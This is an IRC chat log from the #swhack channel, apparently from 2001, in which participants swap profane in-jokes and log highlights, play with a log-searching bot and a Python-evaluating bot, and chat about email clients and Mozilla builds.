<sbp> can you get it to return the link before? 02:45:14 <sbp> and mail it all to me? 02:45:29 <AaronSw> I don't think so.... I can do it by hand tho 02:45:31 <sbp> and re.I 02:46:55 <AaronSw> $ grep -i -B 2 lol *.txt | mail sean@mysterylights.com 02:47:05 <AaronSw> There you go. 02:47:13 <sbp> thanks 02:47:45 <sbp> wacky email address 02:48:01 <AaronSw> Yeah... probably doesn't work either. 02:48:10 <sbp> heh:- 02:48:10 <sbp> 2001-07-25.txt-21:42:03 <sbp> <sbp> And can't you call it something cool like HackBot? 02:48:10 <sbp> 2001-07-25.txt-21:42:03 <sbp> <AaronSw> Heh, I was thinking Logster 02:48:10 <sbp> 2001-07-25.txt:21:42:03 <sbp> <sbp> lol 02:48:58 <sbp> "South Park teaches people that it's possible to make a time machine out of a duck and a microwave 02:49:03 <sbp> " 02:49:21 <sbp> <AaronSw> Are you encoding that page in Dürst? 02:49:45 <sbp> <dmiles> Jan Grant.. hrrm should i be in love? .. the last Jan i fell for (Jan Weidlemaker) turned out to be a man 02:49:54 <AaronSw> lol 02:49:58 <AaronSw> Highlights of swhack :) 02:50:07 <sbp> * sbp types "<sbp> Oh crap, did I miss it?" into #billennium 02:50:18 <sbp> yeah, it's highlights time! 02:50:36 <sbp> * sbp tries to learn INTERCAL 02:50:56 <AaronSw> * AaronSw types "So, when's the party starting?" into #billenium 02:51:01 <sbp> * AaronSw has an autographed copy of "Wrox: VoiceXML" that says "To Aaron: Who knew about VoiceXML a whole year before I did." 02:51:32 <AaronSw> Heh heh, text2speech pronounced that Voice-Sex-ML. 02:51:40 <sbp> <AaronSw> .when did tav have sex with jim 02:52:13 <sbp> <AaronSw> "The Spy who SWAGged Me"? 02:52:19 <sbp> <sbp> "I'm dirty right to the RDF Core, baby" 02:52:33 <sbp> we were on a roll 02:52:49 <sbp> <deltab> you could say my homepage is hosted by google 02:53:32 <sbp> 2001-09-21.txt-00:23:45 <tav> AaronSw: within esp, an open relationship is encouraged 02:53:33 <sbp> 2001-09-21.txt-00:24:02 <AaronSw> oh, good. You suck, then. ;-) 02:53:55 <sbp> <Morbus> pear pimples on hairy fishnuts 02:54:12 <sbp> 2001-09-21.txt-01:05:42 <sbp> nah, nutsacks to it 02:54:12 <sbp> 2001-09-21.txt-01:06:00 <sbp> * sbp feels his vocabulary growing day by day 02:54:12 <sbp> 2001-09-21.txt:01:06:10 <Morbus> lol 02:54:12 <sbp> 2001-09-21.txt-01:06:19 <Morbus> put it in your meat locker and smoke it 02:54:12 <sbp> 2001-09-21.txt:01:06:26 <sbp> lol 02:54:32 <sbp> AaronSw> Yeah, when I first saw http://disobey.com/about/presspit.shtml I thought I was talking to some big famous Web dude. But then I found out you were just a regular jerk. 02:54:51 <AaronSw> Not a big-famous jerk. 02:55:01 <sbp> <AaronSw> camboy! 02:55:23 <sbp> <tav> come on sofa! be my bitch! 02:55:38 <sbp> <sbp> lol: "is that a 928 pixel icon on your desktop, or are you just happy to see me?" 02:55:54 <sbp> <AaronSw> Pat Hayes: "We mathematicians do have a certain sense of style. For example, I almost always put on a bow tie before typing long formulae." 02:55:55 <AaronSw> That really scared me when it finally worked. 02:56:03 <sbp> it worked? great! 02:56:13 <AaronSw> Yeah, but not until after I rebooted. 02:56:16 <sbp> <AaronSw> *cough* Alzofratz *cough* 02:56:19 <AaronSw> When I'd totally forgotten about it. 02:56:20 <sbp> aha 02:56:24 <sbp> heh! 02:56:25 <AaronSw> It was really freaky. 02:56:34 <sbp> "oh man, what happened to my icons?" 02:56:46 <AaronSw> Well, they were so big, I thought it was just some visual artifact. 02:56:47 <sbp> <AaronSw> Wow, Redfoot succumbed to Zawiniski's law pretty quickly -- it already has POP support! 02:56:59 <AaronSw> It was hard to make out that they were actually icons. 02:57:14 <AaronSw> You learn a new use for grep every day... 02:57:21 <sbp> <sbp> 39 pages think that it does exist: http://www.google.com/search?q=uncrucial 02:57:27 <sbp> :-) 02:57:38 <sbp> <AaronSw> Heh: "Due to the recent events we've had to make some changes in our program... I was supposed to be introducing Steve Jobs live via satellite from Paris, France... I hope you won't be too disappointed if I introduce Steve Jobs live via Stage Right." <crowd goes wild> 02:58:09 <sbp> 2001-09-28.txt-04:48:35 <sbp> About Sklyarov, she says: "The Justice Department arrested the Russian hacker while he was in the U.S. AAP was delighted that the Justice Department was taking the Act seriously and sent a letter to the Attorney General to that effect." 02:58:10 <sbp> 2001-09-28.txt-04:48:50 <AaronSw> Ugh, I want to throw up on her. 02:58:34 <sbp> <sbp> That has to be the rudest possible thing to do on IRC; to fuck up someone's quote deeley. It's the equivalent of getting on a table and waving your arse in the air during a board meeting 02:58:48 <AaronSw> LOL! 02:58:56 <AaronSw> * AaronSw can just see sbp doing that. 02:59:07 <AaronSw> * AaronSw can just see Homer doing that. 02:59:21 <sbp> :-) 02:59:21 <AaronSw> Not that the two are directly comparable, of course. 02:59:24 <sbp> <AaronSw> Interesting channel: #linuxforlesbians 02:59:42 <AaronSw> *** on channels: @#gavin @#freenet/leave #vim #validator #swhack #rdfig #rdfbot #python #mutt #metazope #mandrake #lojban #live #lisp #linuxforlesbians #erights #Brits #billennium 02:59:45 <AaronSw> (deltab, that is) 03:00:42 <sbp> *** Now talking in #billennium 03:00:42 <sbp> <sbp> Did I miss it? 03:01:01 <AaronSw> Ooh, I got a message from Mark Baker. 03:01:07 <sbp> <sbp> lol @ ass house beat 03:01:10 <sbp> really? Neat 03:01:14 <AaronSw> *** You have joined the channel 03:01:14 <AaronSw> <AaronSw> When's the party starting? 03:01:36 <sbp> <AaronSw> They got "Jedi Knight" registered as an offical religion. 03:02:20 <sbp> <AaronSw> Lol... "Strapped for cash they decided there was only one option left for them.... To sell the Banzai format to a UK TV producer." 03:02:23 <AaronSw> .spell billennium 03:02:25 <xena> potential spellings for billennium are: billionaire, bilinear, Bellini, bylined, blaming, beelined, Balinese, byliner, blennies, bimanually 03:02:35 <sbp> <sbp> Fuck Maestro of the Mid-West 03:03:10 <AaronSw> What were you trying to say again? 03:03:26 <sbp> Funk Maestro of the Mid-West 03:03:53 <sbp> <AaronSw> Frank Manola: """Anyone who can say (on the SUO list) "A little brisk canter through the foothills of Birkhoff and McLain might be good mental exercise" has GOT to be a reasonable man! [Particularly since most of the SUO group seem to be taking a brisk canter through Roberts' Rules of Order!]""" 03:04:01 <sbp> <Morbus> we love you aaron, here are some flowers! 03:04:23 <sbp> <AaronSw> Heheheh, you get points for doing Syndic8 work... one guy has 2562 points.... the guy who created the site has 55. 03:04:30 <sbp> <sbp> sbp has changed the topic to: #swhack: winner of the prestigious Morbus/disobey.com "pathetic" award, 2001 03:05:08 <sbp> 2001-10-12.txt-02:50:09 <Morbus> i get crap like that every day. 03:05:08 <sbp> 2001-10-12.txt-02:50:32 <AaronSw> That's what you get for keeping a wacko site. ;) 03:05:08 <sbp> 2001-10-12.txt:02:50:37 <Morbus> lol 03:05:25 <sbp> <Morbus> meshturbate 03:05:39 <sbp> 2001-10-12.txt-21:26:49 <AaronSw> Ananova has the weirdest stories. 03:05:39 <sbp> 2001-10-12.txt-21:26:53 <Morbus> yeah! now i can pursue my agenda over a cup of breast enlarging coffee. 03:05:48 <AaronSw> tav, would you prefer meshturbate to dataplesh? 03:05:55 <sbp> heh! 03:05:56 <sbp> <Morbus> you know, i leave you guys for two minutes to make some flipping chicken things, and you do dances. 03:06:03 <tav> heh 03:06:06 <sbp> <Morbus> i have to defecate. i shall return. 03:06:27 <sbp> <sbp> and for what veritable alms-basket of wonderment did I earn this cavalcade of point giving? 03:06:44 <sbp> <AaronSw> LOL, one configuration option is "I don't like logos, I'm boring, I eat llamas." 03:06:58 <sbp> 2001-10-14.txt-04:51:43 <AaronSw> "Can I install Linux on my 386? 03:06:59 <sbp> 2001-10-14.txt-04:51:43 <AaronSw> While you were snoozing, we entered the 2000s." 03:07:21 <sbp> <sbp> in another WG, it took 10 people 5 years to come up with the same conclusion 03:07:57 <sbp> <AaronSw> I can't believe Mail has so many stupid things you can script (like the color of a single character) buy uou can't check your freaking mail! 03:08:16 <sbp> <sbp> I changed about 5 words in 3 hours, I think 03:08:31 <sbp> <sbp> the top half is "this is who I am. This is how to contact me. This is what I do. Aren't I boring? Could I be any more cliched?" 03:08:44 <sbp> <AaronSw> The LOL scale: heh; Heh.; Heheh.; Heheh!; lol; LOL; LOL! 03:09:38 <sbp> <sbp> yeah, we could add loads of stuff. I dunno why we were so conservative before: we should just add stuff 'till the schema explodes 03:09:53 <sbp> <sbp> Hmm... we only said "fuck" once between the five of us today 03:09:53 <sbp> <sbp> oh... twice 03:09:53 <sbp> <wendy> lol 03:10:07 <sbp> <AaronSw> When we were trying to name N-Triples Dan Connoly exlaimed in frustration, "Just call it Jojo or Fred or something." 03:10:15 <sbp> <sbp> gutterslut is a better word, but it's too long to get an acronym out of 03:10:30 <sbp> <sbp> I should buy more books => I need money => I need a job => I'm too lazy/ill to work => I need to win the lottery => I need to play the lottery => I need money to play the lottery => I need a job => crap 03:10:40 <sbp> there, I'm done for now 03:11:39 <sbp> logger, grep fuck 03:11:45 <AaronSw> uh oh. 03:11:50 <sbp> logster, grep fuck 03:11:53 <logster> I'm logging. I found 46 answers for 'fuck' (showing 0...4) 03:11:55 <logster> 0) 2001-10-22 03:11:50 <sbp> logster, grep fuck 03:11:56 <logster> 1) 2001-10-22 03:11:39 <sbp> logger, grep fuck 03:11:57 <logster> 2) 2001-10-22 03:09:53 <sbp> <sbp> Hmm... we only said "fuck" once between the five of us today 03:11:58 <logster> 3) 2001-10-22 02:58:34 <sbp> <sbp> That has to be the rudest possible thing to do on IRC; to fuck up someone's quote deeley. It's the equivalent of getting on a table and waving your arse in the air during a board meeting 03:11:59 <logster> 4) 2001-10-21 21:21:25 <sbp> Hmm... I wouldn't feel so bad writing an EARL schema if it didn't fuck with the ATR output too much 03:12:07 <sbp> Hmm... all me 03:12:27 <sbp> can you get it to show a few more? 03:12:57 <AaronSw> Yeah, put num-num options in front... of course you can also grep by person 03:13:14 <sbp> logster, grep 0-20 fuck 03:13:16 <logster> I'm logging. I found 47 answers for 'fuck' (showing 0...20) 03:13:17 <logster> 0) 2001-10-22 03:13:14 <sbp> logster, grep 0-20 fuck 03:13:18 <logster> 1) 2001-10-22 03:11:50 <sbp> logster, grep fuck 03:13:19 <logster> 2) 2001-10-22 03:11:39 <sbp> logger, grep fuck 03:13:20 <logster> 3) 2001-10-22 03:09:53 <sbp> <sbp> Hmm... we only said "fuck" once between the five of us today 03:13:21 <logster> 4) 2001-10-22 02:58:34 <sbp> <sbp> That has to be the rudest possible thing to do on IRC; to fuck up someone's quote deeley. It's the equivalent of getting on a table and waving your arse in the air during a board meeting 03:13:22 <logster> 5) 2001-10-21 21:21:25 <sbp> Hmm... I wouldn't feel so bad writing an EARL schema if it didn't fuck with the ATR output too much 03:13:23 <logster> 6) 2001-10-19 22:35:44 <sbp> Hmm... we only said "fuck" once between the five of us today 03:13:24 <logster> 7) 2001-10-19 19:41:43 <AaronSw> tav on Afghanistan: "i just learnt that they are dropping fucking pop tarts and strawberry jam. wtf!?" 03:13:25 <logster> 8) 2001-10-18 04:56:25 <sbp> i.e. "fuck, fuck, fuck..." 03:13:26 <logster> 9) 2001-10-18 04:30:28 <sbp> you really deleted your site? How the fuck did you manage that? I couldn't even do that to my site on purpose 03:13:27 <logster> 10) 2001-10-14 19:45:12 <sbp> fuck! you've got a 34 second PING 03:13:28 <logster> 11) 2001-10-14 15:07:19 <sbp> I like this new homepage, but it needs some more substance. That's the whole problem with the old homepage: it was form over content, and now I've just done the same thing! Perhaps I should draw a fucking picture for my next homepage... 03:13:29 <logster> 12) 2001-10-14 04:41:12 <sbp> fuck the Semantic Web, this is the Semantic Internet! Much better! 03:13:30 <logster> 13) 2001-10-14 04:38:31 <sbp> O.K., so the fact of the matter is that P2P appliactions have been around for some years now, but none of them are really all that good. Napster tocketed to fame, but that was just for ripping of music files, so what does that leave us with? Freenet? Not many people have heard of that, and it has some big problems, e.g. it's not persistent, and proxy access is fucked because you can't make proper links 03:13:31 <logster> 14) 2001-10-14 04:28:45 <sbp> what bootstrap process? IMO, this is where P2P usually fucks up 03:13:32 <logster> 15) 2001-10-12 23:05:13 <Morbus> oh fuck 03:13:33 <logster> 16) 2001-10-11 23:45:48 <Morbus> ? maybe i fucked up. 03:13:34 <logster> 17) 2001-10-08 01:17:59 <sbp> anyway, you're just fucking with the point that I'm trying to make... 03:13:35 <logster> 18) 2001-10-05 02:19:06 <sbp> "y'know, man, we always like start out plain' speed grage, but end up palying a bit of the fuckin' ass house, innit?2 03:13:36 <logster> 19) 2001-10-05 01:48:30 <Morbus> yeah, they're all fucked up. second program i've seen that does that 03:13:37 <logster> 20) 2001-09-28 21:58:47 <sbp> how much does it fuck the server up to do it? 03:14:01 <AaronSw> Mostly sbp. 03:14:09 <sbp> I win! 03:14:39 <sbp> but it goes back to 2001-09, which is a bit crappy 03:15:07 <sbp> logster, grep ankle 03:15:13 <logster> I'm logging. I found 1 answer for 'ankle' 03:15:14 <logster> 0) 2001-10-22 03:15:07 <sbp> logster, grep ankle 03:15:31 <sbp> wow, that's the first time someone said "ankle" on this channel? 03:15:34 <AaronSw> Wow. 03:16:37 <sbp> Creamery Avenue 03:18:04 <sbp> proxy axles are stupifyingly bloated to a gaseous mirror, as the horn single goat smuggler confessed to the wicked lonely prostoriffic dung handler (Esq.) 03:18:24 <AaronSw> Huh? 03:18:54 <sbp> just putting in words so that greps aren't in vain 03:19:02 <sbp> logster, grep prostoriffic 03:19:05 <logster> I'm logging. I found 2 answers for 'prostoriffic' 03:19:06 <logster> 0) 2001-10-22 03:19:02 <sbp> logster, grep prostoriffic 03:19:07 <logster> 1) 2001-10-22 03:18:04 <sbp> proxy axles are stupifyingly bloated to a gaseous mirror, as the horn single goat smuggler confessed to the wicked lonely prostoriffic dung handler (Esq.) 03:20:30 <AaronSw> Isn't it still considered in vain if you put the result in merely to get a result? 03:20:50 <sbp> not if you did so ages and ages ago 03:20:58 <AaronSw> Ah, I see. 03:21:25 <sbp> "seven candles lit by the arse of a cantelope farmer, in a homely old bay?", said the doctor. "yes", said the wife, although she knew that the doctor was just bluffing, to hide all manner of illegal substances, wafting from his apple blossom tie, covered in a marmalade sauce: a delectable coating of sugar, too 03:23:13 <sbp> what did ManBoy have to say about the publishing roots of ephemeral carpet spawners of the late 19th century? as far as I can tell, it puffed a small cabbage named Holly, splenderous in its pathos, and always shimmering in the spinning lay-frenzy that was the super coat 03:24:19 <BenSw|away> aaron how do you use xena? 03:24:27 <BenSw|away> BenSw|away is now known as BenSw 03:24:57 <sbp> but only as the small frog dropped some amendments into an old blue shoe. it couldn't have passed the Aaron Swartz test for gooberness, but several days later, a small pigeon exploded as it ran into a concept so thrilling, not even the Queen could contain herself! 03:25:56 <AaronSw> * AaronSw notes he had nothing to do with this. 03:26:04 <sbp> heh, heh, heh 03:27:00 <sbp> whither incoherance? 03:27:16 <sbp> anyway, Ben: you just type .command arguements 03:27:28 <sbp> for example 03:27:45 <sbp> .stop "Don't shout at me!" "I'll shout at you if I want to" 03:28:37 <xena> Boys, boys! Now calm down... 03:29:23 <sbp> as pertains to the more whimsical funtions which are now being demonstrated, I shall let Master Swartz the Elder elaborate 03:29:46 <AaronSw> Whimsical? Pfft. 03:30:13 <sbp> punt, pass, and piss 03:31:24 <sbp> """punt, pass, and piss", that's my motto", said Henry", said John 03:32:00 <AaronSw> Heheh. 03:32:08 <sbp> plastic candle waxing instruments? Oh, dear! 03:32:36 <sbp> heh, it' 03:32:45 <sbp> it's like flicking through radio stations 03:33:48 <sbp> "small camera named Bert"... whiuuwww... static... "a small onion, inserted into the cavity, brining a tear to the".... whiiirp, piwwww.... "and when you overtighten the nuts, you cause swell"... brrrr, skrrwhiiu 03:34:06 <AaronSw> heh heh heh. 03:35:04 <AaronSw> * AaronSw listens to "Better than Anything" 03:35:42 <sbp> This is a story about a little wiener boy named "Sally". Sally was a very manly sort of chap, but due to his effeminite name, he still manage to get into the Women 03:35:50 <sbp> Women's changing rooms 03:36:09 <sbp> but only after 7o'clock! Don't get any idas 03:37:56 <sbp> Sally once had to visit his best friend, Fred, who was a plumber. Fred was also an active member of the debating team at x University. She was a very good friend of Sally 03:38:04 <sbp> and they met constantly 03:38:06 <AaronSw> Hmm... 03:38:15 <sbp> s/Sally/Sally's 03:38:46 <sbp> WARNING: This is *not* a true story 03:39:23 <sbp> (or is it?) 03:39:29 <AaronSw> Heh heh heh. 03:39:46 <sbp> (captive function 1 delta x [& seven , & == semicolon] plus, rotate) 03:40:23 <sbp> for x in my_barf_pool: do y(spanky); &^ x+1 03:40:48 <sbp> class NearlyPython: 03:41:03 <sbp> def (self): print "this is nearly python" 03:41:25 <sbp> [no function name] 03:41:32 <AaronSw> Hmm.. 03:41:40 <AaronSw> How would you call it? 03:41:44 <AaronSw> Perhaps you want lambda? 03:41:53 <sbp> x = NearlyPython(); x. 03:41:53 <xena> SyntaxError: invalid syntax 03:42:07 <AaronSw> Heheh! 03:42:13 <sbp> neat! 03:42:16 <sbp> x = NearlyPython(); print x 03:42:17 <xena> SyntaxError: invalid syntax 03:42:24 <sbp> x = NearlyPython() 03:42:24 <xena> SyntaxError: invalid syntax 03:42:29 <sbp> feckle 03:42:42 <AaronSw> x def NearlyPython(): print "Hi, sbp." 03:42:42 <xena> SyntaxError: unexpected EOF while parsing 03:42:46 <sbp> x = 'barfpool' 03:42:47 <xena> SyntaxError: invalid syntax 03:42:50 <AaronSw> x def NearlyPython(): print "Hi, sbp."\n\n 03:42:51 <xena> SyntaxError: invalid token 03:42:58 <AaronSw> x def NearlyPython(): print 'Hi, sbp.'\n\n 03:42:58 <xena> SyntaxError: invalid token 03:43:08 <sbp> print "Hi, sbp."\n\n 03:43:18 <AaronSw> x print 'hi there' 03:43:18 <xena> hi there 03:43:45 <sbp> x print 'I am compiling Python' 03:43:46 <xena> I am compiling Python 03:43:56 <AaronSw> x import urllib 03:43:57 <xena> ImportError: untrusted dynamic module: _socket 03:44:03 <AaronSw> x import urlparse 03:44:24 <sbp> x y = 'barfpool'; for x in y: \n print '"'x'"' 03:44:24 <xena> SyntaxError: invalid syntax 03:44:31 <sbp> x y = 'barfpool'; for x in y: print '"'x'"' 03:44:31 <xena> SyntaxError: invalid syntax 03:44:49 <AaronSw> It doesn't like loops. 03:44:55 <sbp> x y = 'barfpool'\nfor x in y:\n print '"'x'"' 03:44:56 <xena> SyntaxError: invalid token 03:45:12 <sbp> a Python bot that doesn't like loops? 03:45:40 <sbp> well, I'd better be spurgling 03:46:02 <AaronSw> spurgly burgly 03:46:25 <sbp> yes, please 03:46:46 <sbp> have you got a grungle? 03:47:01 <AaronSw> not purgly burgagle, but maybe raglmarg 03:47:30 <sbp> you're just splecifergling letters now: you have to coherenate them 03:47:52 <AaronSw> well raglemarge to you! 03:48:11 <sbp> to you too 03:48:25 <sbp> Gotta run 03:48:30 <AaronSw> c'ya 03:48:38 <sbp> c'ya 03:48:39 <sbp> sbp has quit 03:49:31 <tav> hmz 03:49:41 <tav> x y = 'barfpool' 03:49:58 <tav> x exec("for x in y: print '"'x'"'\n") 03:49:58 <xena> x 03:49:59 <xena> x 03:50:00 <xena> x 03:50:01 <xena> x 03:50:02 <xena> x 03:50:02 <xena> x 03:50:03 <xena> x 03:50:04 <xena> x 03:50:13 <AaronSw> Aha! 04:04:36 <sbp> sbp has joined #swhack 04:05:12 <sbp> I started on a newsletter, but it quickly didn't work, so I did the only thing that I know with things that don't work, and emailed it to you, Aaron 04:05:23 <AaronSw> Hah! 04:05:27 <sbp> fix it for me, and send t back, could you? 04:05:28 <AaronSw> And www-archive? 04:05:38 <sbp> no! not www-archive. Obscene material in there 04:06:20 <AaronSw> Fix it? 04:06:35 <sbp> yes, please 04:07:06 <AaronSw> How so? 04:07:28 <sbp> if I knew that, I'd have fixed it myself. Just fix it, and send it back to me 04:07:46 <AaronSw> Fine, fine. 04:09:23 <sbp> thanks 04:10:12 <sbp> when do you think you'll have it ready by? 04:10:18 <AaronSw> Just a minute more... 04:10:24 <sbp> great! 04:11:04 <AaronSw> Ok, there you go. 04:11:18 <AaronSw> I was thinking we could play IRC ASCII tennis. 04:12:01 <sbp> brilliant! 04:12:07 <sbp> IRC ASCII tennis? 04:12:12 <sbp> sure, I'm game 04:12:15 <sbp> you can serve 04:12:18 <AaronSw> Yeah, like Photoshop tennis. 04:12:29 <AaronSw> OK... here goes... we can use |... for comments 04:12:43 <AaronSw> | Well, it's a beautiful day here today... and it looks like Aaron is about to serve. 04:12:48 <AaronSw> ohhhhhhhhhhhhhhhh 04:12:55 <AaronSw> | Wow, what a serve! That's just incredible! 04:13:01 <AaronSw> | How will sbp respond? 04:13:09 <tav> do you like talking to yourself? 04:13:18 <tav> ah, sbp's in the channel 04:13:20 <AaronSw> | And tav walks into the middle of the field! 04:13:32 <sbp> | sbp is streching out to the shot, but notices teh streaking tav 04:13:40 <AaronSw> | Just incredible, incredible... 04:13:45 <sbp> aaaaaaargh! a streaking tav 04:14:04 <sbp> | oh! sbp's dropped his racket, and is covering his face. urely the umpire won't allow this? 04:14:10 <AaronSw> And as he walked down the alway, what did he see but aaaaaaargh! a streaking tav 04:14:19 <AaronSw> |alway? what is that? 04:14:25 <AaronSw> | How interesting... 04:15:12 <sbp> | Well, whilst the police wrestle tav from the court, the crowd and players alike eat Strawberries and Ice Cream, and sing Cliff Richard songs 04:15:20 <sbp> | Oh, I say! 04:16:26 <sbp> tsk, a good game spoiled by tav. I'm appaled, but the spirit of the game does carry throug 04:16:28 <sbp> h 04:16:41 <sbp> and with that, I bow and depart from the court... 04:16:53 <sbp> blow kisses to the fans 04:16:54 <AaronSw> We will play again later. 04:17:04 <AaronSw> The terrorist will not stop us! 04:17:18 <sbp> c'ya 04:17:22 <AaronSw> c'ya 04:17:24 <sbp> sbp has quit 04:23:56 <BenSw> BenSw is now known as BenSw|asleep 04:54:02 <AaronSw> LOL on #rdfig: <leazerdking> is th3r3 any body out th3r3? 05:50:26 <tav`> tav` has joined #swhack 07:40:34 <tav> tav has quit 11:57:05 <sbp> sbp has joined #swhack 12:02:41 <sbp> sbp has quit 12:23:31 <xena> xena has quit 12:33:03 <sbp> sbp has joined #swhack 12:36:29 <sbp> sbp has quit 13:52:52 <tav> tav has joined #swhack 13:58:39 <AaronSw> LOL, the spammers are forging From, Tos and Subjects! 13:58:54 <AaronSw> I just got a message from Brian McBride to Peter Patel-Schneider saying: 13:59:03 <AaronSw> [[[ 13:59:05 <AaronSw> Dealing with Tax debt is a serious problem. 13:59:05 <AaronSw> Every day your Past Taxes are costing you MORE in 13:59:05 <AaronSw> LATE PAYMENT FEE'S, NON PAYMENT FINES, and Compounded Interest on your original owed ammount !!! 13:59:07 <AaronSw> ]]] 14:00:04 <AaronSw> * AaronSw replies "Brian, while I understand that dealing with tax debt _is_ a serious problem, I'd appreciate it if we could keep discussion on the lists to more RDF-related topics." 14:00:42 <AaronSw> Ah, Brian actually did do it! 14:00:46 <AaronSw> """I posted a message today, the text for which got substituted somewhere with SPAM. I attach the text of the original I sent, taken from my sent mail folder, below. I'm investigating the cause of the problem.""" 14:09:02 <xena> xena has joined #swhack 14:43:16 <Morbus> Morbus has joined #swhack 14:45:26 <AaronSw> * AaronSw disconnects 14:46:02 <Morbus> g'day all 14:47:06 <AaronSw> * AaronSw reconnects 14:48:14 <AaronSw> g'day 14:48:43 <Morbus> i think i'll try and dl the nightly for os x again 14:48:59 <AaronSw> nightly what? 14:49:08 <Morbus> moz 14:49:56 <Morbus> two new software updates, btw 14:56:30 <AaronSw> ooh, ooh! 15:01:26 <Morbus> heh... they came ut sat, i think\ 15:01:48 <Morbus> does infoanarchy have anything to do with the site of the same name? 15:02:05 <AaronSw> Indeed it does. 15:02:13 <AaronSw> As the header for the site doth attest. 15:02:43 <AaronSw> """ infoAnarchy. Which future do you want to live in? · 15:02:43 <AaronSw> IRC: #infoAnarchy @ irc.openprojects.net """ 15:03:02 <Morbus> ah. ok. then i shall add that to my autojoins. been reading .com for awhile 15:03:42 <AaronSw> .org! .org! 15:04:11 <Morbus> yeah, one of those. 15:04:28 <AaronSw> Heheh. 15:04:32 <Morbus> trying to catch up on my emails. 15:05:14 <AaronSw> I'm trying to retrieve my emails from Entourage 15:05:40 <Morbus> i've never used entourage. 15:05:50 <Morbus> i actually went back to using mt-newswatecher this weekend. 15:06:00 <AaronSw> heheh 15:06:02 <Morbus> but i had seen that entourage could read news as well. 15:06:06 <Morbus> is it free? any good? 15:06:14 <Morbus> i like eudora cos its crossplatform. 15:06:24 <Morbus> same ui, same hotkeys, etc ;) 15:06:27 <AaronSw> Entourage is great but it stelas your data 15:06:38 <Morbus> oh? 15:06:41 <AaronSw> so i finally realized i could solve that with IMAP 15:06:49 <AaronSw> it stores mail in proprietary database format 15:06:57 <Morbus> heh 15:07:06 <Morbus> ah. 15:07:15 <Morbus> yeah, the new bbedit comes with its own shell script extension. 15:07:21 <AaronSw> Ooh. 15:07:25 <Morbus> does pepper do that? or did you make one yourself? 15:07:31 <Morbus> that has ntohing to do with this email 15:07:36 <AaronSw> What do you mean? 15:07:37 <Morbus> ack! 15:07:37 <Morbus> i mean. 15:07:44 <AaronSw> heheh 15:07:46 <Morbus> nothing to do with chat, but just got to a "HOWTO" email 15:07:56 <tav> entourage looks real nice 15:08:02 <Morbus> on making bbedit a shell util with 6.1. but its built into 6.5 15:08:13 <AaronSw> Oh, no it comes with Pepper. 15:08:14 <Morbus> is it free? 15:08:15 <tav> i'd love to have entourage for linux / win32 15:08:20 <AaronSw> Pepper is shareware 15:08:25 <AaronSw> nagware, really 15:09:02 <AaronSw> Yeah, Entourage fixed all the annoying bugs in the OE/Mac... so it's really beautiful. 15:09:12 <Morbus> is entouragre free? 15:09:21 <Morbus> i'm not sure i like the prop db though 15:09:22 <AaronSw> No, part of office 15:09:26 <tav> free? heh 15:09:32 <Morbus> ah. ok. 15:09:35 <AaronSw> OE is free tho, and pretty close 15:09:44 <AaronSw> just has one or two annoyances they fixed in entourage 15:09:47 <tav> entourage is more like outlook though than OE.... 15:10:09 <tav> evolution is pretty nice btw, if you are running X... 15:10:18 <Morbus> i used to use oe 4.5 15:10:25 <AaronSw> Outlook, OE and Entourage all seem pretty much the same on the Mac. 15:10:31 <Morbus> but when i got to around 3000 messages in it, it started crapping out on a 75mhz machine 15:10:40 <Morbus> thats when i moved to eudora. haven't left since. 15:10:42 <AaronSw> Yeah, that's another problem with it 15:10:46 <AaronSw> It's DB indexing sucks. 15:10:47 <Morbus> tried 5.0. hated the changing fo the gui. 15:10:53 <Morbus> no wait, 4.0 to 4.5. 15:10:56 <AaronSw> changing fo 15:10:57 <AaronSw> ? 15:11:02 <Morbus> yeah, thats the transiition i didn't like 15:11:04 <AaronSw> oh, of 15:11:08 <Morbus> /fo/of/ 15:17:50 <sbp> sbp has joined #swhack 15:19:53 <AaronSw> hi there 15:20:20 <Morbus> AaronSw: what was the name of that image cataloging software you used? or didn't use? we had this dicussion before, and you dropped a name, i just forgot 15:20:30 <AaronSw> I use a website. 15:21:01 <sbp> sbp has quit 15:21:12 <Morbus> what site? 15:21:42 <AaronSw> blogspace.com/pictures/ 15:21:55 <AaronSw> it's a package called photo-album-lite 15:22:08 <AaronSw> photo.net/photodb will store them for you too 15:22:55 <Morbus> is that perl? php? 15:22:58 <Morbus> python? 15:22:59 <AaronSw> Tcl 15:23:04 <Morbus> heh. 15:23:21 <Morbus> garrettc: rgrep -i santa ~/syncasaurus/Syncasaurus.pl 15:23:25 <Morbus> garrettc: copy ($filename, $backupname); # hello. santa claus is on my mug. why? 15:23:33 <AaronSw> what? 15:23:45 <AaronSw> heheheh 15:23:54 <Morbus> heh. just random code snippets from sync. and my propensity to leave stupd comments. 15:27:22 <Morbus> another meg and then moz should be done. wnder if it'll work this time 15:32:25 <Morbus> hrm. moz is just sitting there. 15:32:35 <Morbus> oOoh. no, wait. progres.s 15:34:00 <Morbus> well, herdy gerdy, it works fine. 15:34:02 <Morbus> whoo. 15:34:17 <Morbus> i never could get fizzila to work, but today'snightly for os x works fine, AaronSw 15:34:26 <AaronSw> Nice. 15:34:38 <Morbus> yah. finally 15:34:53 <AaronSw> ugh, i'm feeling really sick. 15:35:12 <Morbus> whatcha got? 15:35:42 <AaronSw> i dunno.... just got a bad cough and stuffed up nose all of the sudden 15:35:55 <Morbus> :( that's no good. 15:36:07 <AaronSw> You know that feeling where when you cough your chin itches and it feels like termites are crawling around inside your ribcage 15:36:10 <AaronSw> i've got that feeling 15:37:04 <Morbus> ah, yeah. 15:37:20 <Morbus> and it feels like your throat is covered by a big layer of phlegm. 15:37:25 <Morbus> that opens and closes whenever you cough. 15:37:27 <Morbus> and flaps in the wind. 15:39:13 <AaronSw> blarrgh 15:41:03 <AaronSw> * AaronSw closes windows, puts on warmer clothing 15:48:46 <Morbus> whoo. gamegrene.com traffic is picking up nicely. 15:50:17 <AaronSw> cool 15:53:43 <Morbus> poo. spinning pizza of death on moz. 15:54:55 <Morbus> off to work. be back in 1.5 15:54:56 <Morbus> Morbus has quit 15:56:33 <AaronSw> heheh, pizza 16:42:11 <sbp> sbp has joined #swhack 16:44:59 <AaronSw> hello 16:45:33 <sbp> sbp has quit 16:46:41 <AaronSw> * AaronSw tests out new phone 16:58:29 <AaronSw> * AaronSw has an urge to hack something... 17:10:03 <Morbus> Morbus has joined #swhack 17:15:52 <AaronSw> wb 17:16:15 <Morbus> thanks. i'm tired now. 17:29:19 <sbp> sbp has joined #swhack 17:30:28 <sbp> sbp has changed the topic to: Good evening, and welcome to swhackers 17:45:36 <AaronSw> hello sbp 17:46:07 <sbp> sbp has quit 17:49:12 <AaronSw> Heheh! Vex: "Hey, 